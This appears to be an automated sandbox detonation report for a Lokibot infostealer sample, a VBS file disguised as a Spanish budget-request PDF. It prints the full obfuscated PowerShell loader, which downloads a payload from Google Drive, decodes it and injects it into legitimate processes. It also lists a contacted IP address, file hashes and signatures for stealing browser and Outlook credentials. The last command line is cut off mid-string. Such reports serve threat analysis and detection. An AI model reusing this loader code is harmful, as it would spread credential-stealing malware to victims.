',nstd$KaliugCra,elCaloyoSyrefbUtrovaMonosL Da.t:T ansd U emrKritiN.dtrfIUn,ulNDa,ghGByn vS No.r=MarkeNEnde eD ctawSleev-BelysoMichlbAktiejCommuE LninC G blt Unwh ,ikas.kyriY,onplsspaltTU give Goodm Spyd.SquibnN ttiERe egt Gl.r.IndskwS ydieOverdBF.jlsc.odstl Fi,mi oreteSkrefNUnpert');$Ventrine+=$Aramayoite[1];pladsbilletterne ($Ventrine);pladsbilletterne (Corrodent 'Pr,di$Grf.eDmarm rCanadnTmmeriOxy ln ommig Sbeus orgu.ShedmHD vice Creva Mat,dS sleePallerHistosNorma[A pol$SubmuBMandarslugaaKommavTymp.uPaaflrForgaaStaahrUn griGaudeeKli,prpans s Derm]Rd in=Odont$H lpsTDreggrRectayForesk Non kNyhe,eSejlkrqu.drl Di.arOverdlSneeziInternToppogOu sieStep nSjuskeSprll ');$Indkringsfases=Corrodent 'Yemen$ErhveD Is er,strinnonsyiU.ccenParazgImpals Dieh.DoonsDP,imao Fyl w affrnKo fll Se so,ronpa lockdGr ntFOchroiRemanlAnkereVand (Gnath$JowarTHiperoJiliamCuriel Gr ueHair rbogbi,B ndt$OverrAT,ibon Do.eeSarcil RideiEmb,enBetelgTurid)Ch.rg ';$Aneling=$Aramayoite[0];pladsbilletterne (Corrodent ' Natu$JernbgFejlsL Ind.O PromB PenoAFordrLKorps:Blasts EmboKmahogiIn beLKontaSSted.MKommuiRenomSLov sSDoze eAvowibkiangeTankvV .eleIKatedLReposLTyvetiCr.cin RepagPundsEDesinRGymna=Demit( Ekset ille LansSNine.Ttvrfa-PlusspfaldbAethnitLuftlhNin p under$InterAMuss,nT aktEkritiLselv i Skoln Ind GProra)Lytte ');while (!$Skilsmissebevillinger) {pladsbilletterne (Corrodent 'lingv$SteplgArizolTr aaoC takbAmovaaInauglvinge:Lee aT Sea,aBaalpcInur hNovi eNonmatMae,lu,eepurHe lceAcc s1 Yugo4Yeste3Expul= endr$PandatPresurVe neuL utueIn st ') ;pladsbilletterne $Indkringsfases;pladsbilletterne (Corrodent 'gas eS Lys.t irreadoubtrToptet Lens-SnokeSAdvoklRetoueR dwoe envipsjatt ,nun4Nonfo ');pladsbilletterne (Corrodent 'Major$G ogggCozyilBorg,o BefobfinanaDemoklCigar:Ge erSPorcekForudiLysatlBrachsvej.smLygteiFordjsInjussBilleeVognmbUncomeServiv Demoi annelDent.lkonveiSpaidnUpgatgPropteFifterIn,ti=Decel(RogueTUpopueAus rs Yow.tPlusk-PolysPSentia,aceltInpu h Tall Und s$KarreADecennK,lmieGrydelUnmediExtranNonprg Part)Data. ') ;pladsbilletterne (Corrodent 'Selvf$Dv grg DyrelLinedo PneubTelltaUntenl Pro :MisbeI ddiklProp,lAfgr uP stsmLob ciPar,tn Vid atoasttTo deoSpaltr stib=April$InescgSohqulUnissoLydlab Co naGa,lil arle:RepenP non sLaengebespau etyddH.tereW eezpsubaribossegudstdrSpairaRigsdpMisplhd naaoFiltenCtra + kovt+aa re%Choke$ WellSEtaper Medlg LuteeHimmemFiskeabipolrRh mbcEksemhElekt2Venez5Ba om.U sttcInvoco Kderu OpvanBukstt M,xi ') ;$Tomler=$Srgemarch25[$Illuminator];}$Saucer=298805;$Videoafspilleres=29219;pladsbilletterne (Corrodent 'Nacry$Am,asgM ljblBalloo ransbEkstraSocielNonpr:RisikHGarnea PhileDeg,gmPersoo k,ekt Supeo Credx ClupiSlatic ejtr Justi=Meni Lngs G RampePisketlairm- s miC semiounwienTils.tV jmaeBefornindsttRe.er Penty$ Abb ADogmanS ltieStje l SquiiElengnddedagNonfr ');pladsbilletterne (Corrodent 'Eusk $,avvrginterlRingsoLim,obLigevaScattlPal.o:Par.hDSk iviMin.da BlidlBelieo Thysg Appli ivebsRallyeMaladd Proh8Trinb2Vesti Rgfor=appel rot[ PrevS uksuyDgnprsBurhet S,deeAfbrymEspre.DullsCSilhuoMitren Unc.vKlippeKirkerFarettPille]O tsh:S der:k nomFDisplr Inteo impomOcotiBMerglaDefinsOegedeObjur6Jetja4Ande SMargetUdskrrKonomi Egn,nMycelgE uaw(Psy.h$ M gnH.ytaaaSemiceGallemFortyoadjuntShed.oSmaabxFarveiInterc Prot) En,o ');pladsbilletterne (Corrodent ' Pr.t$ PseugWhsillhistioAk ivbCretoaTilgalF eur: VariUUncivdR sulsFloritUnre yUncutrRidsee G.nelAltdosDannee BalarDendr G,thk= ffi Tryk[BredbSTradeyCuirasSkrivtRulleeMatermSlapp.perosTInhibeTurisxSammetBedra.T umpEGlimpnJateoc SurmoAleurdCorreiL efenUsaarg Hjlp]Konfd:Ele,a:lam,iA TaksS.ontaC Ar.oIWagneITitre. ChilGBa.ble ortltSuperSP gurt SawsrChartiKrigenKoansgTelev( favo$SpydiDNonmiiBrospaAsorrlSiksao itacgNebu iDevias ndroetrissdFedts8Und r2 f.ot)Inve. ');pladsbilletterne (Corrodent ' tr i$ Dis gLseholIntegoRynkeb NecraTndeslCentr: ReloF usinoApatirRitmesBakketPredeaDemulaka.aeeCarinlDiagos arvee ,ogisLakfapDiscorWarnroMarencPrivaeO,erpsstolts Vente,rvejrLevernApp reTofte= Fisk$Ov rjUgalahdGevansSydf tElr tyQuin.rLaed e Af yl SpissSupr ePla erForbi.SennesFinanu.emicbPlyndsAfgudt RisarSyndiiLugtunKilomgF rha(Bi da$ScoreSSelvfaVagtpuMis,gcClinoeOplg rForgr,Prosa$Qui.nVWrapaiRens dLeucoeVeneeo havea Urfjf Con sEclippTormeiAn iplOleaclHypogeFlyt,r Bai e Obsts Head)Besid ');pladsbilletterne $Forstaaelsesprocesserne;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gymnasielrer36.Bru && echo t"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.187.225:443 | drive.usercontent.google.com | tcp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.187.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.187.227:80 | o.pki.goog | tcp |
| GB | 142.250.187.225:443 | drive.usercontent.google.com | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
Files
memory/2740-4-0x000007FEF45FE000-0x000007FEF45FF000-memory.dmp
memory/2740-5-0x000000001B160000-0x000000001B442000-memory.dmp
memory/2740-6-0x00000000022A0000-0x00000000022A8000-memory.dmp
memory/2740-7-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp
memory/2740-8-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp
memory/2740-9-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp
memory/2740-10-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp
memory/2740-11-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp
memory/2740-12-0x000007FEF45FE000-0x000007FEF45FF000-memory.dmp
memory/2740-13-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp
memory/2740-15-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\15S3EIUFFKBQUME4Q2PT.temp
| MD5 | 50b5f447107f8ef2be0a3e53c5493cbe |
| SHA1 | 1226cd55bd759a8d43813b05b53494996201604f |
| SHA256 | 5e96bcce617a862c5ea704ca27c32fd1bc0d306380afe5832ffcc1f9c9def11c |
| SHA512 | 8f186a8f24e5ad6c3a66447dbc808e32044ef4c1ac498fffc7d89863766beded0e6d26eacb9d905db3b829e46ec0de6ec9709b8b49b4e77a7f8dfca13b990428 |
C:\Users\Admin\AppData\Roaming\Gymnasielrer36.Bru
| MD5 | 45ba7a030b3ed8b67c945e660cc5d60e |
| SHA1 | c255be4cc7020eeaeca86c803a8c6a989cb55996 |
| SHA256 | 81f504ce5c2f4cc87fb6748ad21cd2438c533e457c3824a7dd49bbdab1061b2c |
| SHA512 | 38d07fe03ae6b3a2a0dbc52bd8101763051db8578e6906e34d82f44aa3f083bba7c39fba60c801f97d6163b6149a326a8fcdcfb8b020de95b51ceb2facb7858e |
memory/2696-20-0x0000000006450000-0x000000000996A000-memory.dmp
memory/2728-22-0x0000000000EC0000-0x00000000043DA000-memory.dmp
memory/2740-46-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp
memory/2728-45-0x0000000000EC0000-0x00000000043DA000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-457978338-2990298471-2379561640-1000\0f5007522459c86e95ffcc62f32308f1_7ab03691-fc7c-4787-903d-423aed4b9dc2
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-457978338-2990298471-2379561640-1000\0f5007522459c86e95ffcc62f32308f1_7ab03691-fc7c-4787-903d-423aed4b9dc2
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-09-17 14:04
Reported
2024-09-17 14:06
Platform
win10v2004-20240802-en
Max time kernel
99s
Max time network
153s
Command Line
Signatures
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4848 set thread context of 4768 | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Internet Explorer\iexplore.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\Internet Explorer\iexplore.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud De Presupuesto 09-16-2024·pdf.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Oud Foldure Reabstracts #>;$Udtydning='Coeditor';<#Undrugged Impeachability Kludges Seeable #>;$Smaamnstredes=$host.PrivateData;If ($Smaamnstredes) {$Sammentrde++;}function Corrodent($Nvningenes){$Stemmetlleren48=$Nvningenes.Length-$Sammentrde;for( $Afsvkkelsen=5;$Afsvkkelsen -lt $Stemmetlleren48;$Afsvkkelsen+=6){$Overtower197+=$Nvningenes[$Afsvkkelsen];}$Overtower197;}function pladsbilletterne($Stall){ & ($Affedningen) ($Stall);}$Trykkerlrlingene=Corrodent 'CentrMDechlo Au.nzArbouiIndskltrojklOutdra mhra/Dyn s5No an. Ski 0Unch. Sto m(CiffeWUpersiAthetnVerdedFumaroWo.stwStemms Libb PukatNCtbroTPr,nc konfi1Felto0Selvf.Under0Stude;R for UnaccW RefeiProcenOscu,6Baa d4Lftes;Cumul Syni.x D ca6Conf 4Areol;Hybri Su etrCo.trvUdr g:Coffl1T,nds2 sen 1 Over.Chron0Hasid)Fagli AmetaGPlie eLobedcKneehk ContoFremf/Samme2Anath0Snyde1 Kopi0.rins0 toxo1 Maxi0Trapb1Afteg BeskfF PorciFemogrPersoeSnekdf Te roLau ix Aura/Strik1Dakot2Steni1Un in.Hjlpe0 Pse ';$Bravurariers=Corrodent ' jtauKrlbeSDurabe TeroR ,mph-Arbeja B ligNonmaEUnderNReharTCl ym ';$Tomler=Corrodent ' K njhNedsttDash.tRail.psstersHebet:Supp /Chiot/Treeld PhenrHobo.i O.ycvVasaleTell .Holdig NonroLegalo Sveng CapilFun.teKelyp..xonscMlleroSpi lmBil e/Al emuStrepcMaalg?FranceBeeyaxindflpStudio ci cr PorttTobak= ki,kdHov,doOpspiwUnnaknBasellAfmaroEmpiraForhid fsnr&StormiS.nsidDisi =P,eva1PeppeBSumerYhydroB udka7tide L SkatHCan yw DdsssForsyrBrndvUVict,0Nicot0BrankCLandm0CatteuUd prEMedar6Hasti7 achrItanke3 UnmakjulebCEdd,rJTaar,dLsninB PalajNeu.ojForstB g,ae2KvisthLande-Mi rog Unc ';$Disbalance=Corrodent 'Trkni>Ladin ';$Affedningen=Corrodent ' PredI lokbeNederx K lt ';$Myoporaceae='Fuglefngeres';$Vikse = Corrodent 'BecomeUddracPrepohAquaroGhoul Midd %bagvaaSp,ckpUnderp,adopd PantafirvrtLre oa Iden%Co.ve\ OutgGFlytbyPixilm levanclothaSi.etsVrdisiKerneeO suglBlendrKataseBlr brHelse3 V ri6Gaard. GoslBPirifrLa ynuFjern Orna &Sassa&B ead GradueStammcSkue hOxypuoIndge BeskytAerop ';pladsbilletterne (Corrodent 'Hetze$UndergHan,aldentaoFolkebKawa,a BrinlEnvo.:DowntATheserIlde aHydrom osenaLedniySkri o tooli Un it GaareTjrin=Hol e(AflsncanlasmF.alad Stvr Forly/prsi clighe Fo,si$ArizoVShoveiAn,ngkPenhosP.tchefj le)H ver ');pladsbilletterne (Corrodent 'Over $TylengStartlUnimpoNik ebFi etatetralTe ro:ForesS ProgrMnemogErmake sam,mNarkoaE,sforArchcc BumfhTrans2Album5 Slau=B.sid$B serT BygnoPerismKhanelaudioeFactirDoppe.Si tbsC prepBronclTackiiEyrentMenar(O.thy$BnkstDSove.iVisers S lgbHoresaSepi,lca paaKorrunOpfatc BunkeLalle) Pres ');pladsbilletterne (Corrodent 'Sabad[U.lbsN Myxoe ilvrt K uz. OrgaSVis le lektr oorvAndeliCandec Rel eErbiaPDys ao Brevi Be enUncatt evelMS,desa delsnAsmolaFalcogBe taeB.rrerGu li]Ophiu:Skoko:TalemS Erhoe spercAplacuTr burFj.skiProantMethyy TwofPAlkohr vinaoFdselt Esprospos cN,issoAfvallr fle Blom =Belie squab[ K idNFigu.e b nit Ne r.S,rasSOver,eParapcRestpuBnnemrTaboriHattetForudyNiterPOysterHje lo ksetPro ooJordbcAugmeoAgelelSyntaTCohabyOt llpWam,leS.ass]Ecume:cor e:TriflTSummalGryd s Knip1 Bill2Typhl ');$Tomler=$Srgemarch25[0];$Ventrine= (Corrodent ',nstd$KaliugCra,elCaloyoSyrefbUtrovaMonosL Da.t:T ansd U emrKritiN.dtrfIUn,ulNDa,ghGByn vS No.r=MarkeNEnde eD ctawSleev-BelysoMichlbAktiejCommuE LninC G blt Unwh ,ikas.kyriY,onplsspaltTU give Goodm Spyd.SquibnN ttiERe egt Gl.r.IndskwS ydieOverdBF.jlsc.odstl Fi,mi oreteSkrefNUnpert');$Ventrine+=$Aramayoite[1];pladsbilletterne ($Ventrine);pladsbilletterne (Corrodent 'Pr,di$Grf.eDmarm rCanadnTmmeriOxy ln ommig Sbeus orgu.ShedmHD vice Creva Mat,dS sleePallerHistosNorma[A pol$SubmuBMandarslugaaKommavTymp.uPaaflrForgaaStaahrUn griGaudeeKli,prpans s Derm]Rd in=Odont$H lpsTDreggrRectayForesk Non kNyhe,eSejlkrqu.drl Di.arOverdlSneeziInternToppogOu sieStep nSjuskeSprll ');$Indkringsfases=Corrodent 'Yemen$ErhveD Is er,strinnonsyiU.ccenParazgImpals Dieh.DoonsDP,imao Fyl w affrnKo fll Se so,ronpa lockdGr ntFOchroiRemanlAnkereVand (Gnath$JowarTHiperoJiliamCuriel Gr ueHair rbogbi,B ndt$OverrAT,ibon Do.eeSarcil RideiEmb,enBetelgTurid)Ch.rg ';$Aneling=$Aramayoite[0];pladsbilletterne (Corrodent ' Natu$JernbgFejlsL Ind.O PromB PenoAFordrLKorps:Blasts EmboKmahogiIn beLKontaSSted.MKommuiRenomSLov sSDoze eAvowibkiangeTankvV .eleIKatedLReposLTyvetiCr.cin RepagPundsEDesinRGymna=Demit( Ekset ille LansSNine.Ttvrfa-PlusspfaldbAethnitLuftlhNin p under$InterAMuss,nT aktEkritiLselv i Skoln Ind GProra)Lytte ');while (!$Skilsmissebevillinger) {pladsbilletterne (Corrodent 'lingv$SteplgArizolTr aaoC takbAmovaaInauglvinge:Lee aT Sea,aBaalpcInur hNovi eNonmatMae,lu,eepurHe lceAcc s1 Yugo4Yeste3Expul= endr$PandatPresurVe neuL utueIn st ') ;pladsbilletterne $Indkringsfases;pladsbilletterne (Corrodent 'gas eS Lys.t irreadoubtrToptet Lens-SnokeSAdvoklRetoueR dwoe envipsjatt ,nun4Nonfo ');pladsbilletterne (Corrodent 'Major$G ogggCozyilBorg,o BefobfinanaDemoklCigar:Ge erSPorcekForudiLysatlBrachsvej.smLygteiFordjsInjussBilleeVognmbUncomeServiv Demoi annelDent.lkonveiSpaidnUpgatgPropteFifterIn,ti=Decel(RogueTUpopueAus rs Yow.tPlusk-PolysPSentia,aceltInpu h Tall Und s$KarreADecennK,lmieGrydelUnmediExtranNonprg Part)Data. ') ;pladsbilletterne (Corrodent 'Selvf$Dv grg DyrelLinedo PneubTelltaUntenl Pro :MisbeI ddiklProp,lAfgr uP stsmLob ciPar,tn Vid atoasttTo deoSpaltr stib=April$InescgSohqulUnissoLydlab Co naGa,lil arle:RepenP non sLaengebespau etyddH.tereW eezpsubaribossegudstdrSpairaRigsdpMisplhd naaoFiltenCtra + kovt+aa re%Choke$ WellSEtaper Medlg LuteeHimmemFiskeabipolrRh mbcEksemhElekt2Venez5Ba om.U sttcInvoco Kderu OpvanBukstt M,xi ') ;$Tomler=$Srgemarch25[$Illuminator];}$Saucer=298805;$Videoafspilleres=29219;pladsbilletterne (Corrodent 'Nacry$Am,asgM ljblBalloo ransbEkstraSocielNonpr:RisikHGarnea PhileDeg,gmPersoo k,ekt Supeo Credx ClupiSlatic ejtr Justi=Meni Lngs G RampePisketlairm- s miC semiounwienTils.tV jmaeBefornindsttRe.er Penty$ Abb ADogmanS ltieStje l SquiiElengnddedagNonfr ');pladsbilletterne (Corrodent 'Eusk $,avvrginterlRingsoLim,obLigevaScattlPal.o:Par.hDSk iviMin.da BlidlBelieo Thysg Appli ivebsRallyeMaladd Proh8Trinb2Vesti Rgfor=appel rot[ PrevS uksuyDgnprsBurhet S,deeAfbrymEspre.DullsCSilhuoMitren Unc.vKlippeKirkerFarettPille]O tsh:S der:k nomFDisplr Inteo impomOcotiBMerglaDefinsOegedeObjur6Jetja4Ande SMargetUdskrrKonomi Egn,nMycelgE uaw(Psy.h$ M gnH.ytaaaSemiceGallemFortyoadjuntShed.oSmaabxFarveiInterc Prot) En,o ');pladsbilletterne (Corrodent ' Pr.t$ PseugWhsillhistioAk ivbCretoaTilgalF eur: VariUUncivdR sulsFloritUnre yUncutrRidsee G.nelAltdosDannee BalarDendr G,thk= ffi Tryk[BredbSTradeyCuirasSkrivtRulleeMatermSlapp.perosTInhibeTurisxSammetBedra.T umpEGlimpnJateoc SurmoAleurdCorreiL efenUsaarg Hjlp]Konfd:Ele,a:lam,iA TaksS.ontaC Ar.oIWagneITitre. ChilGBa.ble ortltSuperSP gurt SawsrChartiKrigenKoansgTelev( favo$SpydiDNonmiiBrospaAsorrlSiksao itacgNebu iDevias ndroetrissdFedts8Und r2 f.ot)Inve. ');pladsbilletterne (Corrodent ' tr i$ Dis gLseholIntegoRynkeb NecraTndeslCentr: ReloF usinoApatirRitmesBakketPredeaDemulaka.aeeCarinlDiagos arvee ,ogisLakfapDiscorWarnroMarencPrivaeO,erpsstolts Vente,rvejrLevernApp reTofte= Fisk$Ov rjUgalahdGevansSydf tElr tyQuin.rLaed e Af yl SpissSupr ePla erForbi.SennesFinanu.emicbPlyndsAfgudt RisarSyndiiLugtunKilomgF rha(Bi da$ScoreSSelvfaVagtpuMis,gcClinoeOplg rForgr,Prosa$Qui.nVWrapaiRens dLeucoeVeneeo havea Urfjf Con sEclippTormeiAn iplOleaclHypogeFlyt,r Bai e Obsts Head)Besid ');pladsbilletterne $Forstaaelsesprocesserne;"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gymnasielrer36.Bru && echo t"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Oud Foldure Reabstracts #>;$Udtydning='Coeditor';<#Undrugged Impeachability Kludges Seeable #>;$Smaamnstredes=$host.PrivateData;If ($Smaamnstredes) {$Sammentrde++;}function Corrodent($Nvningenes){$Stemmetlleren48=$Nvningenes.Length-$Sammentrde;for( $Afsvkkelsen=5;$Afsvkkelsen -lt $Stemmetlleren48;$Afsvkkelsen+=6){$Overtower197+=$Nvningenes[$Afsvkkelsen];}$Overtower197;}function pladsbilletterne($Stall){ & ($Affedningen) ($Stall);}$Trykkerlrlingene=Corrodent 'CentrMDechlo Au.nzArbouiIndskltrojklOutdra mhra/Dyn s5No an. Ski 0Unch. Sto m(CiffeWUpersiAthetnVerdedFumaroWo.stwStemms Libb PukatNCtbroTPr,nc konfi1Felto0Selvf.Under0Stude;R for UnaccW RefeiProcenOscu,6Baa d4Lftes;Cumul Syni.x D ca6Conf 4Areol;Hybri Su etrCo.trvUdr g:Coffl1T,nds2 sen 1 Over.Chron0Hasid)Fagli AmetaGPlie eLobedcKneehk ContoFremf/Samme2Anath0Snyde1 Kopi0.rins0 toxo1 Maxi0Trapb1Afteg BeskfF PorciFemogrPersoeSnekdf Te roLau ix Aura/Strik1Dakot2Steni1Un in.Hjlpe0 Pse ';$Bravurariers=Corrodent ' jtauKrlbeSDurabe TeroR ,mph-Arbeja B ligNonmaEUnderNReharTCl ym ';$Tomler=Corrodent ' K njhNedsttDash.tRail.psstersHebet:Supp /Chiot/Treeld PhenrHobo.i O.ycvVasaleTell .Holdig NonroLegalo Sveng CapilFun.teKelyp..xonscMlleroSpi lmBil e/Al emuStrepcMaalg?FranceBeeyaxindflpStudio ci cr PorttTobak= ki,kdHov,doOpspiwUnnaknBasellAfmaroEmpiraForhid fsnr&StormiS.nsidDisi =P,eva1PeppeBSumerYhydroB udka7tide L SkatHCan yw DdsssForsyrBrndvUVict,0Nicot0BrankCLandm0CatteuUd prEMedar6Hasti7 achrItanke3 UnmakjulebCEdd,rJTaar,dLsninB PalajNeu.ojForstB g,ae2KvisthLande-Mi rog Unc ';$Disbalance=Corrodent 'Trkni>Ladin ';$Affedningen=Corrodent ' PredI lokbeNederx K lt ';$Myoporaceae='Fuglefngeres';$Vikse = Corrodent 'BecomeUddracPrepohAquaroGhoul Midd %bagvaaSp,ckpUnderp,adopd PantafirvrtLre oa Iden%Co.ve\ OutgGFlytbyPixilm levanclothaSi.etsVrdisiKerneeO suglBlendrKataseBlr brHelse3 V ri6Gaard. GoslBPirifrLa ynuFjern Orna &Sassa&B ead GradueStammcSkue hOxypuoIndge BeskytAerop ';pladsbilletterne (Corrodent 'Hetze$UndergHan,aldentaoFolkebKawa,a BrinlEnvo.:DowntATheserIlde aHydrom osenaLedniySkri o tooli Un it GaareTjrin=Hol e(AflsncanlasmF.alad Stvr Forly/prsi clighe Fo,si$ArizoVShoveiAn,ngkPenhosP.tchefj le)H ver ');pladsbilletterne (Corrodent 'Over $TylengStartlUnimpoNik ebFi etatetralTe ro:ForesS ProgrMnemogErmake sam,mNarkoaE,sforArchcc BumfhTrans2Album5 Slau=B.sid$B serT BygnoPerismKhanelaudioeFactirDoppe.Si tbsC prepBronclTackiiEyrentMenar(O.thy$BnkstDSove.iVisers S lgbHoresaSepi,lca paaKorrunOpfatc BunkeLalle) Pres ');pladsbilletterne (Corrodent 'Sabad[U.lbsN Myxoe ilvrt K uz. OrgaSVis le lektr 